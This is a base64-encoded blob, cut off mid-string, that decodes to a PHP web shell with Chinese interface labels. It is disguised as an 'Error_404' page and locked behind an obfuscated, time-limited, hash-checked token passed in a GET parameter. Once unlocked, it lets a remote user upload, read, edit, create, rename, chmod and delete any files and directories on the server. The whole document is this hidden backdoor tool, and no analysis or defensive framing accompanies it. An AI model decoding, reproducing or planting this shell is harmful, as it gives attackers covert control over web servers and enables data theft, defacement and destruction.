"PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoJ1BSQycpOw0KDQokQVJSQVkgPSAkeydfR0VUJ31bJ0FSUkFZJ107DQokS0pNbiA9IHN0cl9yb3QxMygkQVJSQVkpOw0KJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOw0KJEV6YVUgPSBqc29uX2RlY29kZSgkY2JILCB0cnVlKTsNCmlmICgoJEV6YVVbMF0gLSB0aW1lKCkpID4gMCBhbmQgbWQ1KG1kNSgkRXphVVsyXSkpID09PSAiOWYzNDY2NWIwMDUyMzExZDViNmFkNmY4MjFkYzYyMjgiKSA6IC8vID09PT0NCi8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KDQogICAgZnVuY3Rpb24ganVlamlhbmdfcGVybXMoJGZpbGUpew0KICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOw0KICAgICAgICBpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7Ly8gU29ja2V0DQogICAgICAgICAgICAkaW5mbyA9ICdzJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsNCiAgICAgICAgICAgICRpbmZvID0gJ2wnOw0KICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7Ly8gUmVndWxhcg0KICAgICAgICAgICAgJGluZm8gPSAnLSc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHsvLyBCbG9jayBzcGVjaWFsDQogICAgICAgICAgICAkaW5mbyA9ICdiJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQ0KICAgICAgICAgICAgJGluZm8gPSAnZCc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsvLyBDaGFyYWN0ZXIgc3BlY2lhbA0KICAgICAgICAgICAgJGluZm8gPSAnYyc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApIHsvLyBGSUZPIHBpcGUNCiAgICAgICAgICAgICRpbmZvID0gJ3AnOw0KICAgICAgICB9IGVsc2Ugey8vIFVua25vd24NCiAgICAgICAgICAgICRpbmZvID0gJ3UnOw0KICAgICAgICB9DQovLyBPd25lcg0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPw0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOg0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoNCi8vIEdyb3VwDQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCg0KLy8gV29ybGQNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8NCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoNCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOw0KDQogICAgICAgIHJldHVybiAkaW5mbzsNCiAgICB9DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KLyoqDQogKiDovazljJYgXCDkuLogLw0KICovDQpmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkNCnsNCiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOw0KICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7DQogICAgcmV0dXJuICRwYXRoOw0KfQ0KDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KLyoqIOWPluW+l+ermeeCueagueebruW9lQ0KICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10NCiAqLw0KZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpew0KDQogICAgJHBocF9zZWxmID0gZGlyX3BhdGgoJF9TRVJWRVJbIlBIUF9TRUxGIl0pOw0KICAgICRzY3JpcHRfZmlsZW5hbWUgPSBkaXJfcGF0aCgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pOw0KICAgIGlmIChlbXB0eSgkX1NFUlZFUlsiUEhQX1NFTEYiXSkgb3IgZW1wdHkoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKSl7DQogICAgICAgICRkbzEgPSBkaXJfcGF0aCgkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdKTsNCiAgICAgICAgJGRvID0gcnRyaW0oJGRvMSwnLycpOw0KICAgIH1lbHNlew0KICAgICAgICAkZG8gPSBzdHJfcmVwbGFjZShzdHJfcmVwbGFjZSgiLy8iLCAiLyIsICRwaHBfc2VsZiksICIiLCBzdHJfcmVwbGFjZSgiXFxcXCIsICIvIiwgJHNjcmlwdF9maWxlbmFtZSkpOw0KICAgIH0NCiAgICByZXR1cm4gJGRvOw0KfQ0KJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7DQpkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQoNCg0KaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSl7DQogICAgZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsNCiAgICAgICAgJF9QT1NUWyRrZXldID0gc3RyaXBzbGFzaGVzKCR2YWx1ZSk7DQogICAgfQ0KfQ0KDQokVmVyc2lvbiA9IGJhc2U2NF9kZWNvZGUoJzVweUE1WkNPNTVxRTVZQ1U1Ynk2Jyk7DQppZihpc3NldCgkX0dFVFsncGF0aCddKSl7DQogICAgJHBhdGggPSAkX0dFVFsncGF0aCddOw0KfWVsc2V7DQogICAgJHBhdGggPSBnZXRjd2QoKTsNCn0NCg0KDQplY2hvICc8IWRvY3R5cGUgaHRtbD4NCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiLz4NCjwvaGVhZD4nOw0KPz4NCg0KICAgIDxjZW50ZXI+DQogICAgICAgIDxzdHlsZT4NCiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30NCiAgICAgICAgICAgIHRhYmxlLHRoLHRke2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTtiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2ZvbnQtc2l6ZToxM3B4O30NCiAgICAgICAgICAgIGlucHV0LHRleHRhcmVhe30NCiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30NCiAgICAgICAgICAgIHRoe3BhZGRpbmc6MTBweDt9DQogICAgICAgICAgICAudGRfaG9tZXtwYWRkaW5nOjdweDt9DQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30NCiAgICAgICAgICAgIHRleHRhcmVhe3dpZHRoOjEwMCU7aGVpZ2h0OjQwMHB4O30NCiAgICAgICAgICAgICNjb250ZW50IHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6I2NlY2VjZTt0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZjtjb2xvcjojZmZmO30NCiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQ0KICAgICAgICAgICAgLmRoIGE6aG92ZXJ7IGNvbG9yOiAjZjAwO30NCiAgICAgICAgPC9zdHlsZT4NCjw/cGhwDQplY2hvICc8L2hlYWQ+DQo8Ym9keT48Yj4NCjxIMT48Y2VudGVyPjxmb250IGNvbG9yPSJyZWQiPicuJFZlcnNpb24uJzwvZm9udD48L2NlbnRlcj48L2gxPg0KPHRhYmxlIHdpZHRoPSI3MDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCg0KPHRyPjx0ZD4NCg0KPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOw0KaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpew0KICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsNCn1lbHNlew0KICAgICRwYXRoID0gZ2V0Y3dkKCk7DQp9DQokcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsNCiRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsNCg0KJGdlbl9saW5rX3VybCA9ICc8YSBzdHlsZT0iY29sb3I6IzAwNjZGRiIgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLkRPQ1VNRU5UX1JPT1Q7DQokZ2VuX2xpbmtfdXJsIC49ICciPuagueebruW9lSDvvJogICAgPC9hPiZuYnNwOyc7DQplY2hvICRnZW5fbGlua191cmw7DQoNCmZvcmVhY2goJHBhdGhzIGFzICRpZD0+JHBhdCl7DQogICAgaWYoJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCl7DQogICAgICAgICRhID0gdHJ1ZTsNCiAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9IzAwMD4NCjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOw0KICAgICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7DQogICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsNCiAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspew0KICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsNCiAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsNCiAgICB9DQogICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsNCn0NCmVjaG8gJzwvZm9udD4NCjxicj48YnI+DQo8L3RkPjwvdHI+PHRyPjx0ZD48Y2VudGVyPic7DQoNCmlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpew0KICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgIH1lbHNlew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7DQogICAgfQ0KfQ0KZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLkuIrkvKAiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+DQo8L3RkPjwvdHI+JzsNCmlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsNCiAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsNCiAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107DQogICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsNCiAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7DQp9DQovL0VtcGV0eQ0KZWxzZWlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddICE9ICdkZWxldGUnKXsNCi8vIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nLiRfUE9TVFsncGF0aCddLic8YnIgLz48YnIgLz4nOw0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9DaG1vZA0KICAgIGlmKCRfR0VUWydvcHQnXSA9PSAnY2htb2QnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsNCiAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107DQoNCiAgICAgICAgICAgIGlmKHN0cmxlbigkbmV3X3Blcm1fbyk8PTMpICRuZXdfcGVybV9vPXN0cl9wYWQoJG5ld19wZXJtX28sMywnNicsU1RSX1BBRF9MRUZUKTsNCiAgICAgICAgICAgICRuZXdfcGVybV9vPWludHZhbChzdHJfcGFkKCRuZXdfcGVybV9vLDQsJzAnLFNUUl9QQURfTEVGVCksOCk7DQoNCiAgICAgICAgICAgIGlmKGNobW9kKCRfUE9TVFsncGF0aCddLCRuZXdfcGVybV9vKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mm7TmlLnmnYPpmZDmiJDlip/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mm7TmlLnmnYPpmZDplJnor6/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+PGJyPg0K5b2T5YmN5paH5Lu2IDogJy4kcGF0Yy4nPGJyPjxicj7mnYPpmZAtLS0tJy5zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJHBhdGMpLDEwLDgpLC00KS4nPGJyPjxicj4NCuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImNobW9kIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+DQo8L2Zvcm0+DQo8YnI+DQo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+DQonOw0KDQogICAgfQ0KLy8NCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsNCiAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107DQoNCiAgICAgICAgZWNobyAnPGZvcm0gYWN0aW9uPSI/QVJSQVk9Jy4kQVJSQVkuJyZvcHRpb24mcGF0aD0nLiRjd2QuJyZvcHQ9ZGVsZXRlJnR5cGU9YnVhdCIgbWV0aG9kPSJQT1NUIj4NCuaWsOebruW9leWQjSA6IDxpbnB1dCBuYW1lPSJuYW1lIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IkZvbGRlciIgLz4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJkZWxldGUiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgLz4NCjwvZm9ybT4nOw0KICAgIH0NCi8vUmVuYW1lIGZpbGUNCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdyZW5hbWUnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgIGlmKHJlbmFtZSgkX1BPU1RbJ3BhdGgnXSwkcGF0aC4nLycuJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPumHjeWRveWQjeaIkOWKnyEgOik8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPumHjeWRveWQjeWksei0pSEgOiggPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkX1BPU1RbJ25hbWUnXSA9ICRfUE9TVFsnbmV3bmFtZSddOw0KICAgICAgICB9DQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSAkX1BPU1RbJ25ld25hbWUnXTsNCg0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9InJlbmFtZSI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+DQo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4NCjwvZm9ybT4nOw0KICAgIH0NCi8vRmlsZSBiYXJ1DQogICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSBlbXB0eSgkX1BPU1RbJ25ld25hbWUnXSk/JF9QT1NUWyduZ2FyYW4xJ106JF9QT1NUWyduZXduYW1lJ107DQogICAgICAgICRhenogPSAkX1BPU1RbJ3BhdGgnXTsNCiAgICAgICAgJG5ld3ogPSAkYXp6LiIvIi4kbmV3Ow0KICAgICAgICAkbmV3X2ZpZWwgPSAkaGVsbC4nLycuJF9QT1NUWyduZ2FyYW4xJ107DQogICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ25nYXJhbjEnXSkpIGVjaG8gIuato+WcqOaWsOW7uuaWh+S7tu+8mnskbmV3X2ZpZWx9PGJyPjxicj4iOw0KICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOw0KICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rmlofku7bmiJDlip8gWyAnLiRhenouJyBdPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlrDlu7rmlofku7blpLHotKUgPjooPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+IOaWsOaWh+S7tuWQjSA6IDxpbnB1dCBuYW1lPSJuZ2FyYW4xIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IicuJG5ldy4nIiAvPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9Im5nYXJhbiIgLz48L2Zvcm0+PGJyPiAnOw0KDQogICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOw0KDQogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnbmdhcmFuJ10pKXsNCiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQo8dGV4dGFyZWEgY29scz04MCByb3dzPTIwIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRjKSkuJzwvdGV4dGFyZWE+PGJyIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iZWRpdCI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjwvZm9ybT4nOw0KICAgICAgICB9DQogICAgfQ0KLy9FZGl0ZWQgZmlsZQ0KICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ2VkaXQnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgJGZwID0gZm9wZW4oJF9QT1NUWydwYXRoJ10sJ3cnKTsNCiAgICAgICAgICAgIGlmKGZ3cml0ZSgkZnAsJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+57yW6L6R5oiQ5Yqf77yBIDwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+57yW6L6R5aSx6LSl77yBPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij48YnI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjxicj4NCjxicj4NCjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPg0KDQo8L2Zvcm0+JzsNCiAgICB9DQogICAgZWNobyAnPC9jZW50ZXI+JzsNCn1lbHNlew0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9EZWxldGUgZGlyIGFuZCBmaWxlDQogICAgaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gPT0gJ2RlbGV0ZScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCi8vRGVsZXRlIGRpcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdkaXInKXsNCg0KICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9idWF0IGZvbGRlcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdidWF0Jyl7DQogICAgICAgICAgICAkaGFhYSA9ICRfUE9TVFsncGF0aCddOw0KICAgICAgICAgICAgJGhlZWUgPSAkX1BPU1RbJ25hbWUnXTsNCiAgICAgICAgICAgICRob29vID0gIiRoYWFhLyRoZWVlIjsNCiAgICAgICAgICAgICRuZXcgPSAkaGFhYS4nLycuaHRtbHNwZWNpYWxjaGFycygkaGVlZSk7DQogICAgICAgICAgICBpZighbWtkaXIoJG5ldykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuebruW9leWksei0pSE8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paw5bu655uu5b2V5oiQ5YqfISA+Oik8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9EZWxldGUgZmlsZQ0KICAgICAgICBlbHNlaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZmlsZScpew0KDQogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107DQogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCiAgICAgICAgICAgIGlmKHVubGluaygkcGF0Yykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paH5Lu25Yig6Zmk5oiQ5YqfPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAg